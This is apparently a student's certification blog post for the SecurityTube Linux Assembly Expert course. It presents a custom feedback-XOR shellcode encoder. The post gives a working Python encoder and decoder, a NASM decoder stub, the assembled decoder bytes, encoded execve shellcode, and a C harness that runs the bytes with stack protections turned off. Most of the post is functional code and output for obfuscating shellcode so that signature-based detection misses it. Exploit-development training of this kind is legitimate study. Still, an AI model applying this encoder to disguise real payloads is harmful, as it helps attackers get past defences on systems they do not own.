This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1017
Challenge
- Create a custom encoding scheme like the “Insertion Encoder” we showed you
- PoC with using execve-stack as the shellcode to encode with your schema and execute
Overview
We developed an encoder to encode shellcode using Feedback XOR
.
Since we need to divide plain text shellcode into 4-byte blocks. We appended padding \x90
and end block \x50\x90\x50\x90
to the shellcode. We make sure each plaintext block will be XOR-ed with Random IV or previous encoded block. Graphic illustration as shown below.

Encoding Process

The output of encoding python script as shown below.

Decoding Process
The decoding process as shown below. Each encoded block will be XOR-ed with Random IV or previous encoded block.

Python Implementation
We have build a python script for encoding and decoding shellcode.
#!/usr/bin/python
from random import randint
import sys
def fbxencode(shellcode):
iv = '%x' % randint(1,0xffffffff)
t = iter(iv)
iv = '\\x' + '\\x'.join(a+b for a,b in zip(t, t))
while ('\\x00' in iv):
iv = '%x' % randint(1,0xffffffff)
t = iter(iv)
iv = '\\x' + '\\x'.join(a+b for a,b in zip(t, t))
ivshellcode = iv + shellcode + '\\x90' * (4 - (len(shellcode)/4) % 4) + '\\x50\\x90\\x50\\x90'
ivshellcode = ivshellcode.replace('\\x', '')
blocks = []
for i in range(0, len(ivshellcode)/8):
blocks.append(int('0x'+ ivshellcode[i*8:i*8+8], 16))
for i in range(len(blocks)-1):
blocks[i+1] = (blocks[i] ^ blocks[i+1])
encoded = ""
for i in range(len(blocks)):
encoded += format(blocks[i], '08x')
return encoded
def fbxdecode(encoded):
blocks = []
cleartext = ""
for i in range(0, len(encoded)/8):
blocks.append(int('0x'+ encoded[i*8:i*8+8], 16))
for i in range(len(blocks)-1):
if (blocks[i] ^ blocks[i+1] == 0x90509050):
break
blocks[i] = (blocks[i] ^ blocks[i+1])
cleartext += format(blocks[i], '08x')
return cleartext
if (len(sys.argv) != 2):
print "Usage: ./" + sys.argv[0] + " \"<ShellCode>\""
exit()
shellcode = sys.argv[1]
if '\\' not in shellcode:
print "[!] Use need to use double quotes or single quotes in shellcode"
exit()
print "\n[Shellcode]"
print shellcode + "\n"
encoded = fbxencode(shellcode)
t = iter(encoded)
encoded_format = '0x' + ',0x'.join(a+b for a,b in zip(t, t))
while "0x00" in encoded_format:
encoded = fbxencode(shellcode)
t = iter(encoded)
encoded_format = '0x' + ',0x'.join(a+b for a,b in zip(t, t))
print "[Encoded]"
t = iter(encoded)
print '0x' + ',0x'.join(a+b for a,b in zip(t, t))
t = iter(encoded)
print '\\x' + '\\x'.join(a+b for a,b in zip(t, t)) + "\n"
decoded = fbxdecode(encoded)
t = iter(decoded)
print "[Decoded]"
print '\\x' + '\\x'.join(a+b for a,b in zip(t, t)) + "\n"
Assembly implementation
We compiled a assembly program to decoding the encoding text.
global _start
section .text
_start:
jmp get_shellcode
decoder:
pop esi
push esi
mov edi,esi
loop:
mov eax,[esi]
xor eax,[esi+4]
cmp eax, 0x90509050
jz done
mov [esi],eax
add esi,0x4
jmp loop
done:
jmp shellcode
get_shellcode:
call decoder
shellcode: db 0x43,0xdf,0xba,0x49,0x72,0x1f,0xea,0x21,0x10,0x7e,0x99,0x49,0x78,0x1c,0xf0,0x27,0x57,0x74,0xdf,0x08,0x78,0x5b,0x56,0xeb,0x28,0xd2,0xb4,0xb8,0xa1,0x33,0x04,0xb3,0x6c,0xb3,0x94,0x23,0xfc,0x23,0x04,0xb3
We compiled the disassembly program and got the shellcode for the decoder. The decoder shellcode is 32 bytes long.
> nasm -f elf32 -o hidden.o hidden.nasm
> objdump -d ./hidden |grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-9 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'
"\xeb\x19\x5e\x56\x89\xf7\x8b\x06\x33\x46\x04\x3d\x50\x90\x50\x90\x74\x07\x89\x06\x83\xc6\x04\xeb\xed\xeb\x05\xe8\xe2\xff\xff\xff" + shellcode
The full shellcode as shown below.

Testing
We build a C program to test our decoder shellcode.
#include<stdio.h>
#include<string.h>
unsigned char code[] = "\xeb\x19\x5e\x56\x89\xf7\x8b\x06\x33\x46\x04\x3d\x50\x90\x50\x90\x74\x07\x89\x06\x83\xc6\x04\xeb\xed\xeb\x05\xe8\xe2\xff\xff\xff"
"\xcc\x67\x7f\x53\xfd\xa7\x2f\x3b\x9f\xc6\x5c\x53\xf7\xa4\x35\x3d\xd8\xcc\x1a\x12\xf7\xe3\x93\xf1\xa7\x6a\x71\xa2\x2e\x8b\xc1\xa9\xe3\x0b\x51\x39\xb3\x9b\x01\xa9";
void main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
We successful executed the program to decode the encoded shellcode and execute it.
> gcc -m32 -fno-stack-protector -z execstack -o shellcode shellcode.c -g
